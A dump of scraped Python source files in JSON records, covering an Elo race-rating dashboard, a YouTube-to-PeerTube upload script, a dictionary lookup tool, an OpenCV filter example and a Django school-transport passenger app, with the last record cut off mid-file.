set_up_gsheets_client(credentials_file: str) -> Client:\n scopes = [\n \"https://spreadsheets.google.com/feeds\",\n \"https://www.googleapis.com/auth/drive\",\n ]\n\n credentials = Credentials.from_service_account_file(\n filename=credentials_file, scopes=scopes\n )\n\n client = gspread.authorize(credentials)\n\n return client\n\n\ndef get_worksheet_by_id(spreadsheet: Spreadsheet, worksheet_id: str) -> Worksheet:\n try:\n return [w for w in spreadsheet.worksheets() if w.id == worksheet_id][0]\n except IndexError:\n raise gspread.WorksheetNotFound(f\"worksheet ID {worksheet_id} does not exist\")\n\n\ndef get_worksheet_by_name(spreadsheet: Spreadsheet, worksheet_name: str) -> Worksheet:\n return spreadsheet.worksheet(worksheet_name)\n\n\ndef worksheet_to_dataframe(worksheet: Worksheet, headers: bool = True) -> pd.DataFrame:\n data = worksheet.get_all_values()\n if headers:\n columns = data[0]\n data = data[1:]\n else:\n columns = [f\"col{i}\" for i in range(len(data[0]))]\n\n df = pd.DataFrame(data, columns=columns)\n df = replace_null_string_with_nan(df)\n return df\n\n\ndef replace_null_string_with_nan(df: pd.DataFrame) -> pd.DataFrame:\n return df.replace(\"\", np.nan)\n\n\ndef get_dash_theme(style: str) -> List[str]:\n try:\n return [getattr(dbc.themes, style)]\n except AttributeError:\n raise AttributeError(f\"could not find theme named '{style}'\")\n\n\ndef prep_results_history_for_dash(\n data: pd.DataFrame,\n) -> pd.DataFrame:\n results_history = data.copy()\n results_history = results_history.dropna(how=\"all\", axis=1) # drop columns if all NaN\n results_history = results_history.rename(columns={\"date\": \"Date\"})\n return results_history\n\n\ndef prep_current_ratings_for_dash(\n tracker: Tracker,\n results_history: pd.DataFrame,\n min_games: int = 0,\n) -> pd.DataFrame:\n current_ratings = tracker.get_current_ratings()\n current_ratings[\"rating\"] = current_ratings[\"rating\"].round(2)\n win_df = get_wins_from_history(results_history)\n current_ratings = (\n remove_dummy_player(df=current_ratings)\n .merge(win_df, on=\"player_id\", how=\"left\")\n .fillna({\"n_wins\": 0})\n .rename(columns={\n \"rank\": \"Rank\",\n \"player_id\": \"Name\",\n \"n_games\": \"Races Sailed\",\n \"n_wins\": \"Wins\",\n \"rating\": \"Elo Rating\",\n })\n )\n\n # only include players who have played min_games, then re-rank\n current_ratings = current_ratings[current_ratings[\"Races Sailed\"] >= min_games]\n current_ratings[\"Rank\"] = range(1, current_ratings.shape[0] + 1)\n\n col_order = [\"Rank\", \"Name\", \"Races Sailed\", \"Wins\", \"Elo Rating\"]\n return current_ratings[col_order]\n\n\ndef get_wins_from_history(results_history: pd.DataFrame) -> pd.DataFrame():\n return (\n pd.DataFrame(results_history[\"1st\"].value_counts())\n .reset_index()\n .rename(columns={\n \"index\": \"player_id\",\n \"1st\": \"n_wins\",\n })\n )\n\n\ndef plot_tracker_history(\n tracker: Tracker,\n title: str = None,\n equal_time_steps: bool = False,\n min_games: int = 0,\n) -> Figure:\n \"\"\"\n Create an interactive plot with the rating history of each player in the Tracker.\n\n :param tracker: tracker with Elo history for all players\n :param title: title for the plot\n :param equal_time_steps: if True, space the x-axis equally; otherwise use the\n provided timestamps\n :param min_games: minimum number of games player must have played to be included\n\n :return: a plot generated using plotly.express.line\n \"\"\"\n history_df = tracker.get_history_df()\n history_df = remove_dummy_player(df=history_df)\n\n # filter out players who haven't played min_games\n include_players = [player.id for player in tracker.player_df[\"player\"]\n if player.count_games() >= min_games]\n history_df = history_df[history_df[\"player_id\"].isin(include_players)]\n\n if equal_time_steps:\n date_df = history_df[[\"date\"]].drop_duplicates().sort_values(\"date\").reset_index(drop=True)\n date_df[\"Race number\"] = date_df.index + 1\n history_df = history_df.merge(date_df, on=\"date\", how=\"inner\")\n x_col = \"Race number\"\n else:\n x_col = \"date\"\n\n history_df = history_df.sort_values([\"player_id\", x_col]).reset_index(drop=True)\n\n fig = px.line(\n history_df,\n x=x_col,\n y=\"rating\",\n color=\"player_id\",\n color_discrete_sequence=px.colors.qualitative.Plotly + px.colors.qualitative.Set2,\n )\n fig.update_traces(mode=\"lines+markers\")\n fig.update_layout(\n yaxis_title=\"Elo rating\",\n title=title,\n title_x=0.5,\n legend=dict(title=\"<b>Player</b>\", y=0.5),\n # dashed line at average rating\n shapes=[dict(\n type=\"line\",\n yref=\"y\",\n y0=tracker.initial_player_rating,\n y1=tracker.initial_player_rating,\n xref=\"paper\",\n x0=0,\n x1=1,\n opacity=0.5,\n line=dict(dash=\"dash\", width=1.5),\n )]\n )\n return fig\n\n\ndef display_current_ratings_table(\n current_ratings: pd.DataFrame,\n striped: bool = True,\n bordered: bool = True,\n hover: bool = False,\n **kwargs\n) -> dbc.Table:\n table = dbc.Table.from_dataframe(\n current_ratings,\n striped=striped,\n bordered=bordered,\n hover=hover,\n **kwargs\n )\n return table\n\n\ndef display_game_results_table(\n results_history: pd.DataFrame,\n hover: bool = True,\n **kwargs\n) -> dbc.Table:\n return dbc.Table.from_dataframe(results_history, hover=hover, **kwargs)\n\n\ndef get_tracker(\n k_value: float,\n d_value: float,\n score_function_base: float,\n initial_rating: float,\n data_to_process: pd.DataFrame = None,\n) -> Tracker:\n elo_rater = MultiElo(\n k_value=k_value,\n d_value=d_value,\n score_function_base=score_function_base,\n )\n tracker = Tracker(elo_rater=elo_rater, initial_rating=initial_rating)\n if data_to_process is not None:\n tracker.process_data(data_to_process)\n return tracker\n\n\ndef load_json_data(json_data) -> pd.DataFrame:\n return pd.read_json(json_data, convert_dates=False)\n\n\ndef remove_dummy_player(\n df: pd.DataFrame,\n) -> pd.DataFrame:\n dummy_player_id = config.DUMMY_PLAYER_NAME\n if dummy_player_id is None:\n return df\n df = df[df[\"player_id\"] != dummy_player_id]\n return df\n\n\ndef make_ordinal(n: Union[int, str]) -> str:\n \"\"\"\n Convert an integer into its ordinal representation.\n\n Example:\n make_ordinal(0) => '0th'\n make_ordinal(3) => '3rd'\n make_ordinal(122) => '122nd'\n make_ordinal(213) => '213th'\n \"\"\"\n n = int(n)\n suffix = ['th', 'st', 'nd', 'rd', 'th'][min(n % 10, 4)]\n if 11 <= (n % 100) <= 13:\n suffix = 'th'\n return f\"{n}{suffix}\"\n", "id": "3749802", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "utils.py" } ]
0
gnouts
[ { "content": "#!/usr/bin/python3\n# pip dependencies: python-dateutil, beautifulsoup4, lxml\n\nfrom urllib.request import urlopen\nfrom datetime import datetime, timezone\nfrom bs4 import BeautifulSoup\nimport dateutil.parser as dp \nimport xml.etree.ElementTree as ET\nimport os, sys, errno, time, urllib, subprocess, argparse\n\n# ACCEPT MULTIPLE ANSWER FOR BOOLEAN\ndef str2bool(v):\n if v.lower() in ('yes', 'true', 't', 'y', '1', 'oui', 'o'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0', 'non'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\n# USAGE and OPTIONS\nparser = argparse.ArgumentParser(\n description='Upload videos from a Youtube channel to a Peertube channel, based on RSS feed and license.'\n )\nparser.add_argument(\n '-u', \n metavar='peertube_url',\n dest='PEERTUBE_URL', \n required=True, \n help='Peertube url where to upload videos. Example: https://peertube.example.com'\n )\nparser.add_argument(\n '-U', \n '--user', \n metavar='username', \n dest='PEERTUBE_USER', \n required=True, \n help='Your Peertube username.'\n )\nparser.add_argument(\n '-p', \n '--password', \n metavar='secretpasswd', \n dest='PEERTUBE_PASSWORD', \n required=True, \n help='Your Peertube user\\'s password'\n )\nparser.add_argument(\n '-t', \n '--target', \n metavar='youtube_url', \n dest='CHANNEL_URL', \n required=True, \n help='Youtube url of the CHANNEL (not the video) to clone. Example: https://www.youtube.com/user/PewDiePie'\n )\nparser.add_argument(\n '-c', \n '--creativecommons', \n metavar='True', \n dest='CC_ONLY', \n type=str2bool, \n default=True, \n required=False, \n help='(Optional) Set to True to upload only videos under Creative Commons license. Set to False to upload all videos no matter licensing. (Default: True)'\n )\nparser.add_argument(\n '-l', \n '--language', \n metavar='fr', \n dest='LANGUAGE',\n required=False,\n default='fr',\n help='(Optional) Language tag in the video description. (Default: fr)'\n )\nparser.add_argument(\n '-q', \n '--quiet', \n metavar='False', \n dest='QUIET',\n type=str2bool, \n required=False,\n default=False,\n help='(Optional) Silent output. (Default: False)'\n )\nargs = parser.parse_args()\n\n# VARIABLES\ndirectory = './data'\nns = {'atom': 'http://www.w3.org/2005/Atom'}\nnow = datetime.now(timezone.utc)\ncreativecommons = b'<a href=\"https://www.youtube.com/t/creative_commons\" class=\" yt-uix-sessionlink \"'\npeertube_installation_folder = \"PeerTube\" # from git clone\npeertube_installation = os.getcwd()+'/'+peertube_installation_folder\n\ntry:\n os.makedirs(directory)\nexcept OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\nsoup = BeautifulSoup(urlopen(args.CHANNEL_URL), 'lxml')\nchannelId = soup.find('meta', {'itemprop': 'channelId'})['content']\nfeed_url = 'https://www.youtube.com/feeds/videos.xml?channel_id=' + channelId\npath = directory+'/'+channelId+'.txt'\nif not(args.QUIET) :\n print('Channel ID: {0}'.format(channelId))\nxml_root = ET.parse(urlopen(feed_url)).getroot()\n\nfor entry in reversed(xml_root.findall('atom:entry', ns)):\n video_id = entry.find('atom:id', ns).text.split(':')[2]\n published = dp.parse(entry.find('atom:published', ns).text)\n duration = '%d' % (now-published).days\n VIDEO_URL = 'https://www.youtube.com/watch?v=' + video_id\n page = urllib.request.urlopen(VIDEO_URL).read()\n\n channel_file = open(path,'a+')\n if not video_id in open(path).read():\n if (creativecommons in page):\n if not(args.QUIET) :\n print('Uploading a CC video... ({0})'.format(VIDEO_URL))\n # peertube upload - here\n try:\n subprocess.check_call(['node','dist/server/tools/peertube-import-videos.js','-u',args.PEERTUBE_URL,'-U',args.PEERTUBE_USER,'--password',args.PEERTUBE_PASSWORD,'-t',VIDEO_URL,'-l',args.LANGUAGE],cwd=peertube_installation, timeout=300)\n channel_file.write(video_id+'\\n')\n except subprocess.CalledProcessError as e:\n print(e.returncode)\n print(e.cmd)\n print(e.output) \n elif not args.CC_ONLY and not (creativecommons in page):\n if not(args.QUIET) :\n print('Uploading a non-CC video... ({0})'.format(VIDEO_URL))\n # peertube upload - here\n try:\n subprocess.check_call(['node','dist/server/tools/peertube-import-videos.js','-u',args.PEERTUBE_URL,'-U',args.PEERTUBE_USER,'--password',args.PEERTUBE_PASSWORD,'-t',VIDEO_URL,'-l',args.LANGUAGE],cwd=peertube_installation, timeout=300)\n channel_file.write(video_id+'\\n')\n except subprocess.CalledProcessError as e:\n print(e.returncode)\n print(e.cmd)\n print(e.output)\n elif args.CC_ONLY and not (creativecommons in page):\n if not(args.QUIET) :\n print('This video will not be uploaded because of licensing issue : {0}'.format(VIDEO_URL))\n\n else:\n if not(args.QUIET) :\n print('Already uploaded ({0})'.format(VIDEO_URL))\n\n channel_file.close()\n\n\n#####################################\n# #\n# Nouts <<EMAIL>> #\n# January 2019 #\n# #\n#####################################\n\n##################################################################################\n# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n# Version 2, December 2004\n#\n# Copyright (C) 2004 <NAME> <<EMAIL>>\n#\n# Everyone is permitted to copy and distribute verbatim or modified\n# copies of this license document, and changing it is allowed as long\n# as the name is changed.\n#\n# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE\n# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n#\n# 0. You just DO WHAT THE FUCK YOU WANT TO.\n#\n##################################################################################\n", "id": "1184001", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "yt2pt.py" } ]
0
ShaneKoNaung
[ { "content": "import json\nfrom difflib import get_close_matches as close\n\ndict = json.load(open('dictionary.json'))\n\n\ndef meaning(w):\n '''\n return the meaning(s) of the word w\n '''\n try:\n return dict[w]\n\n except KeyError:\n w = w.lower()\n if w in dict:\n return dict[w]\n\n # search for capitalized words\n w1 = w.capitalize()\n if w1 in dict:\n return dict[w1]\n\n # search for all cap\n w2 = w.upper()\n if w2 in dict:\n return dict[w2]\n # guess the closest word\n close_words = close(w, dict.keys(), cutoff=0.75)\n\n if len(close_words) > 0:\n print(\"Did you mean {} instead? Enter Y if yes , N if no.\".format(close_words[0]))\n yn = input(\"Enter :\")\n\n while yn != 'Y' and yn != 'N':\n yn = input(\"Try agian(Y or N) :\")\n\n if yn == 'Y':\n return dict[close_words[0]]\n else:\n return \"I can't find the word.\"\n else:\n return \"I can't find the word.\"\n\n\ndef print_words(words):\n if type(words) == str:\n print(words)\n else:\n for i, w in enumerate(words):\n print(\"{}: {}\".format(i+1, w))\n print(\"Enter q to quit.\")\n print()\n\n\n\ndef dictionary():\n while True:\n word = input('Enter :')\n if word == 'q':\n break\n word = word.strip()\n print_words(meaning(word))\n\n\ndictionary()\n", "id": "8801650", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "dictionary.py" } ]
0
chickenlin
[ { "content": "\nimport cv2\nimport numpy as np\n\nclass MyFilter:\n \n def process(self, img):\n '''\n :param img: A numpy array representing the input image\n :returns: A numpy array to send to the mjpg-streamer output plugin\n '''\n \n # silly routine that overlays a really large crosshair over the image\n h = img.shape[0]\n w = img.shape[1]\n \n w2 = int(w/2)\n h2 = int(h/2)\n \n cv2.line(img, (int(w/4), h2), (int(3*(w/4)), h2), (0xff, 0, 0), thickness=3)\n cv2.line(img, (w2, int(h/4)), (w2, int(3*(h/4))), (0xff, 0, 0), thickness=3)\n \n return img\n \ndef init_filter():\n '''\n This function is called after the filter module is imported. It MUST\n return a callable object (such as a function or bound method). \n '''\n f = MyFilter()\n return f.process\n\n", "id": "691091", "language": "Python", "matching_score": 0, "max_stars_count": 11, "path": "mjpg/host/plugins/input_opencv/filters/cvfilter_py/example_filter.py" } ]
0
rodrigolucke
[ { "content": "import threading\n\nrequest_local = threading.local()\n\ndef get_request():\n return getattr(request_local, 'request', None)\n\nclass RequestMiddleware():\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n request_local.request = request\n return self.get_response(request)\n\n def process_exception(self, request, exception):\n request_local.request = None\n\n def process_template_response(self, request, response):\n request_local.request = None\n return response", "id": "2164979", "language": "Python", "matching_score": 0.18461699783802032, "max_stars_count": 0, "path": "blog/get_username.py" }, { "content": "from django.contrib import admin\n\n\n# Register your models here.\n#from blog.models.Aluno import Aluno\nfrom .models import Aluno, AlunoTrajeto\n#from blog.models.Empresa import Empresa\nfrom .models import Empresa\n#from blog.models.Escola import Escola\nfrom .models import Escola\n#from blog.models.Localidade import Localidade\nfrom .models import Localidade\n#from blog.models.NivelEnsino import NivelEnsino\nfrom .models import NivelEnsino\n#from blog.models.NivelUsuario import NivelUsuario\nfrom .models import Periodo\n#from blog.models.Periodo import Periodo\n#from blog.models.Serie import Serie\nfrom .models import Serie\n#from blog.models.Trajeto import Trajeto\nfrom .models import Trajeto\n#from blog.models.Turno import Turno\nfrom .models import Turno\nfrom .models import UsuarioEscola\nfrom .models import AlunoTrajeto\nfrom .models import EmpresaTrajeto\n\n#admin.site.register(Escola)\n@admin.register(Escola)\nclass EscolaAdmin(admin.ModelAdmin):\n\n fields = ['nome', 'telefone']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(Aluno)\n@admin.register(Aluno)\nclass AlunoAdmin(admin.ModelAdmin):\n\n fields = ['nome', 'acompanhante', 'escola_codigo', 'turno_codigo', 'serie_codigo']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(Serie)\n@admin.register(Serie)\nclass SerieAdmin(admin.ModelAdmin):\n\n fields = ['serie', 'nivel_ensino_cod']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(NivelEnsino)\n@admin.register(NivelEnsino)\nclass NivelEnsinoAdmin(admin.ModelAdmin):\n\n fields = ['descricao']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n\n#admin.site.register(Turno)\n@admin.register(Turno)\nclass TurnoAdmin(admin.ModelAdmin):\n\n fields = ['descricao']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(Empresa)\n@admin.register(Empresa)\nclass EmpresaAdmin(admin.ModelAdmin):\n\n fields = ['nome', 'telefone']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(Localidade)\n@admin.register(Localidade)\nclass LocalidadeAdmin(admin.ModelAdmin):\n\n fields = ['nome']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(Trajeto)\n@admin.register(Trajeto)\nclass Trajetodmin(admin.ModelAdmin):\n\n fields = ['cod_saida', 'cod_destino', 'distancia', 'cod_empresa']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n@admin.register(Periodo)\nclass PeriodoAdmin(admin.ModelAdmin):\n\n fields = ['desdricao']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n\n#admin.site.register(UsuarioEscola)\n@admin.register(UsuarioEscola)\nclass UsuarioEscolaAdmin(admin.ModelAdmin):\n\n fields = ['codigo_usuario', 'cod_escola']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n#admin.site.register(AlunoTrajeto)\n@admin.register(AlunoTrajeto)\nclass AlunoTrajetoAdmin(admin.ModelAdmin):\n\n fields = ['aluno_codigo', 'trajeto_codigo']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)\n\n# admin.site.register(EmpresaTrajeto)\n@admin.register(EmpresaTrajeto)\nclass UsuarioEscolaAdmin(admin.ModelAdmin):\n fields = ['empresa_codigo', 'trajeto_codigo']\n\n def save_model(self, request, obj, form, change):\n obj.criado_por_id = request.user.id\n super().save_model(request, obj, form, change)", "id": "10471360", "language": "Python", "matching_score": 3.1536192893981934, "max_stars_count": 0, "path": "blog/admin.py" }, { "content": "from collections import defaultdict\n\nfrom django.db.models import Manager\nfrom .models import Periodo, UsuarioEscola, Empresa, Escola, Aluno, AlunoTrajeto, Trajeto\nfrom pprint import pprint\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import logout\n\ndef loginNoAdmin(request):\n return render(request,'admin/loginNoAdmin.html')\n\n@csrf_protect\ndef loginUser(request):\n if request.POST:\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('/index/')\n else:\n messages.error(request, 'Usuário/Senha inválidos. Favor tentar novamente.')\n messages.error(request, 'Se não possui cadastro contate o administrador do sistema, no caso o Rodrigo.')\n messages.error(request, 'Contato: 51 99371-4915')\n return redirect('/login/')\n\n@login_required(login_url='/login/')\n@csrf_protect\ndef index(request):\n\n escolaSelecionada = UsuarioEscola.objects.get(codigo_usuario=request.user.id).cod_escola\n listaAlunos=[]\n empresaFiltrado = list(Empresa.objects.all())[-1].codigo\n periodoFiltrado = list(Periodo.objects.all())[-1].codigo_mes\n lista2 = []\n if request.GET.get('empresas'):\n empresaFiltrado = request.GET.get('empresas')\n periodoFiltrado = request.GET.get('periodos')\n #listaAlunos = Aluno.objects.filter(\n # escola_codigo=UsuarioEscola.objects.get(codigo_usuario=request.user.id).cod_escola)\n\n\n if empresaFiltrado > '0':\n try:\n trajetos = Trajeto.objects.filter(cod_empresa=periodoFiltrado)\n except:\n trajeto = None\n #trajeto_codigo = Trajeto.cod_empresa(cod_empresa=empresas)\n\n\n listaAlunos = Aluno.objects.filter(\n escola_codigo=UsuarioEscola.objects.get(\n codigo_usuario=request.user.id\n ).cod_escola\n )\n\n listaTrajetos = Trajeto.objects.filter(cod_empresa=empresaFiltrado)\n\n\n else:\n\n listaAlunos = Aluno.objects.filter(\n escola_codigo=UsuarioEscola.objects.get(codigo_usuario=request.user.id).cod_escola)\n listaTrajetos = Trajeto.objects.all()\n\n periodos = Periodo.objects.all()\n empresas = Empresa.objects.all()\n\n for aluno in listaAlunos:\n listaAlunosTrajetos = AlunoTrajeto.objects.filter(aluno_codigo=aluno.matricula)\n #if aluno.matricula in listaAlunosTrajetos.values_list('aluno_codigo'):\n #listaTrajetos = all(xvalues_list('matricula') in listaAlunosTrajetos for x in listaAlunos.values_list('matricula'))\n #return render(request, 'views/html/teste.html', {\n # 'listaAlunos': listaAlunos.values_list('matricula'),\n #})\n # listaTrajetos = [trajetos for item in listaTrajetos if all(a not in b for a in trajetos)]\n # listaAlunoTrajetos = [x for x in listaAlunoTrajetos if x in listaTrajetos]\n # listaAlunoTrajetos = filter(lambda listaAlunoTrajetos: listaAlunoTrajetos in listaTrajetos, listaAlunoTrajetos)\n # listaTrajetos = filter(lambda listaTrajetos: listaTrajetos[3] in trajetos, listaTrajetos)\n listaAlunoTrajetos = []\n\n listaAlunoTrajetos = []\n\n for alunoTrajeto in listaAlunosTrajetos:\n for trajeto in listaTrajetos:\n if trajeto.codigo == alunoTrajeto.trajeto_codigo.codigo:\n # listaAlunoTrajetos.append([alunoTrajeto.trajeto_codigo.cod_saida.nome + \" - \" + alunoTrajeto.trajeto_codigo.cod_destino.nome])\n listaAlunoTrajetos.append(alunoTrajeto)\n\n lista2.append([aluno, listaAlunoTrajetos])\n\n return render(request, 'views/html/index3.html', {\n 'periodos': periodos,\n 'empresas': empresas,\n 'escolaSelecionada': escolaSelecionada,\n 'listaAlunos': lista2,\n 'periodoFiltrado': periodoFiltrado,\n 'empresaFiltrado': empresaFiltrado,\n\n })\n\n@login_required(login_url='/login/')\ndef teste(request):\n ''' listaAlunos = []\n empresaFiltrado = 2\n periodoFiltrado = 0\n #listaAlunoTrajeto = AlunoTrajeto.objects.all()\n listaAlunos = Aluno.objects.filter(\n escola_codigo=UsuarioEscola.objects.get(codigo_usuario=request.user.id).cod_escola)\n\n lista2 = []\n listaTrajetos = Trajeto.objects.filter(cod_empresa=empresaFiltrado)\n #listaAlunoTrajeto = AlunoTrajeto.objects.filter(aluno_codigo=1, trajeto_codigo=[1, 2])\n listaAlunos = Aluno.objects.filter(\n escola_codigo=UsuarioEscola.objects.get(codigo_usuario=request.user.id).cod_escola)\n for aluno in listaAlunos:\n listaAlunosTrajetos = AlunoTrajeto.objects.filter(aluno_codigo=aluno.matricula)\n #listaTrajetos = [trajetos for item in listaTrajetos if all(a not in b for a in trajetos)]\n #listaAlunoTrajetos = [x for x in listaAlunoTrajetos if x in listaTrajetos]\n #listaAlunoTrajetos = filter(lambda listaAlunoTrajetos: listaAlunoTrajetos in listaTrajetos, listaAlunoTrajetos)\n #listaTrajetos = filter(lambda listaTrajetos: listaTrajetos[3] in trajetos, listaTrajetos)\n listaAlunoTrajetos = []\n\n for alunoTrajeto in listaAlunosTrajetos:\n listaAlunoTrajetos.append(aluno.nome)\n listaAlunoTrajetos.append(aluno.serie_codigo.serie)\n listaAlunoTrajetos.append(aluno.turno_codigo.descricao)\n for trajeto in listaTrajetos:\n if trajeto.codigo == alunoTrajeto.trajeto_codigo.codigo:\n #listaAlunoTrajetos.append([alunoTrajeto.trajeto_codigo.cod_saida.nome + \" - \" + alunoTrajeto.trajeto_codigo.cod_destino.nome])\n listaAlunoTrajetos.append(trajeto)\n\n lista2.append([aluno, listaAlunoTrajetos])\n\n trajetos = Trajeto.objects.filter(cod_empresa=2)\n # lista2 = listaAlunoTrajeto'''\n\n\n lista_aluno_codigo = request.POST.getlist('aluno_codigo')\n lista_aluno_trajeto = request.POST.getlist('aluno_trajeto')\n lista_num_passagens = request.POST.getlist('num_passagens')\n return render(request, 'views/html/teste.html', {\n 'lista_aluno_codigo': lista_aluno_codigo,\n 'lista_aluno_trajeto': lista_aluno_trajeto,\n 'lista_num_passagens': lista_num_passagens,\n })\n\n\n@login_required(login_url='/login/')\n@csrf_protect\ndef savePassagens(request):\n lista_aluno_codigo = request.POST.getlist('lista_aluno_codigo')\n lista_aluno_trajeto = request.POST.getlist('lista_aluno_trajeto')\n\n data_mes = Periodo.objects.get(codigo_mes=request.POST.getlist('periodos')[0])\n\n for aluno_codigo in lista_aluno_codigo:\n lista_aluno_trajeto = request.POST.getlist('trajeto_'+aluno_codigo)\n for aluno_trajeto in lista_aluno_trajeto:\n alunoTrajeto = AlunoTrajeto.objects.get(aluno_codigo_id=aluno_codigo,trajeto_codigo_id=aluno_trajeto)\n alunoTrajeto.dt_mes = data_mes\n alunoTrajeto.passagens = request.POST.getlist('num_passagens_' + aluno_codigo + \"_\" + aluno_trajeto)[0]\n if alunoTrajeto.passagens:\n try:\n '''return render(request, 'views/html/teste.html', {\n 'request': alunoTrajeto.passagens,\n })'''\n alunoTrajeto.save()\n except :\n messages.error(request, alunoTrajeto)\n\n ''' try:\n alunoTrajeto = AlunoTrajeto.objects.filter(aluno_codigo_id=aluno_codigo,\n trajeto_codigo_id=aluno_trajeto).update(\n dt_mes=data_mes)\n \n alunoTrajeto = AlunoTrajeto.objects.filter(aluno_codigo_id=aluno_codigo,\n trajeto_codigo_id=aluno_trajeto).update(\n passagens=request.POST.getlist('num_passagens_' + aluno_codigo + \"_\" + aluno_trajeto)\n )\n except :\n messages.error(request, alunoTrajeto)'''\n\n return redirect('/index')\n\ndef filter_dropdown2(request):\n context = {}\n state = request.GET.get('state')\n city = request.GET.get('city')\n context['form'] = AlunoTrajeto(state, city)\n # Filtro\n q = request.GET.get('district')\n if q:\n q = q.replace('.', '')\n persons = Person.objects.filter(district=str(q))\n context['persons'] = persons\n return render(request, 'filter_dropdown2.html', context)\n\n@login_required(login_url='/login/')\ndef logoutUser(request):\n logout(request)\n return redirect('/login')", "id": "7064107", "language": "Python", "matching_score": 2.9999747276306152, "max_stars_count": 0, "path": "blog/views.py" }, { "content": "\"\"\"app URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom blog import views\n\nurlpatterns = [\n path('', views.loginNoAdmin),\n path('admin/', admin.site.urls),\n #path('', include('blog.urls')),\n path('login/', views.loginNoAdmin),\n path('login/loginUser', views.loginUser),\n path('savePassagens/', views.savePassagens),\n #path('index/', views.teste, name=\"index\"),\n path('index/', views.index, name=\"index\"),\n path('logout/', views.logoutUser),\n path('teste/', views.teste),\n]\n", "id": "6252945", "language": "Python", "matching_score": 0.4731058180332184, "max_stars_count": 0, "path": "app/urls.py" }, { "content": "# Generated by Django 2.1.4 on 2020-04-26 15:00\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0003_remove_aluno_trajeto_codigo'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='alunotrajeto',\n name='passagens',\n field=models.IntegerField(null=True),\n ),\n ]\n", "id": "5970708", "language": "Python", "matching_score": 2.553579092025757, "max_stars_count": 0, "path": "blog/migrations/0004_auto_20200426_1200.py" }, { "content": "# Generated by Django 2.1.4 on 2020-04-24 20:15\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0002_trajeto_cod_empresa'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='aluno',\n name='trajeto_codigo',\n ),\n ]\n", "id": "1674809", "language": "Python", "matching_score": 2.607253313064575, "max_stars_count": 0, "path": "blog/migrations/0003_remove_aluno_trajeto_codigo.py" }, { "content": "# Generated by Django 2.1.4 on 2020-04-21 19:01\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='trajeto',\n name='cod_empresa',\n field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.PROTECT, to='blog.Empresa'),\n preserve_default=False,\n ),\n ]\n", "id": "9185923", "language": "Python", "matching_score": 2.8985109329223633, "max_stars_count": 0, "path": "blog/migrations/0002_trajeto_cod_empresa.py" }, { "content": "# Generated by Django 2.1.4 on 2020-04-21 16:50\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Aluno',\n fields=[\n ('matricula', models.AutoField(primary_key=True, serialize=False)),\n ('nome', models.CharField(max_length=255)),\n ('acompanhante', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='AlunoPeriodoEscola',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('aluno_codigo', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, 